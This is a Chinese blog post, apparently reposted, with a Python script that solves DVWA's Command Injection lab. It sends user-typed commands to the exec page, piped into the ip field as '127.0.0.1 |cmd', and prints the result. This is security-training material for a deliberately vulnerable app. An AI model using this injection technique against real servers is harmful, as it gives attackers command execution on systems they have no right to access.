dvwa——Command Injection初级、中级和高级python脚本解法(一)

dvwa——Command Injection初级、中级和高级python脚本解法(一),第1张

dvwa——Command Injection初级、中级和高级python脚本解法(一)

输入127.0.0.1命令,查看DVWA的command execute页面的源代码,如下图所示:

 通过查询得知pre是唯一的,因此需要将返回页面中的pre标签提取出来,最为方便的是使用BeautifulSoup模块,这个模块的主要功能是解析并提取网页中的数据。

python爬虫——Beautiful Soup库(数据解析)详细说明_xiaofengdada的博客-CSDN博客

python爬虫——request模块(一)_xiaofengdada的博客-CSDN博客_python request

话不多说,直接上源码,不懂参考上面博客:
import requests
#import json
from bs4 import BeautifulSoup
while True:
    cmd = input("请输入您要执行的命令行:").strip()
    #if len(cmd) == 0:
        #continue
    if cmd == 'quit':
        break
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
        'cookie':'security=medium; PHPSESSID=9fvvn8hc6iq55cs3vgbpahvoj0'
    }
    url = "http://x.x.x.x/dvwa/vulnerabilities/exec/#"
    data = {
        'ip':'127.0.0.1 |%s'%cmd,
        'Submit':'Submit'
    }
    res = requests.post(url=url,headers=header,data=data)
    #print(res.text)
    marry =BeautifulSoup(res.text,'lxml')
    for pre in marry.find_all(name='pre'):
        print(pre.string)

输出结果:

初级和高级的只要把请求头里面的security设置为low和high即可!

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5710861.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存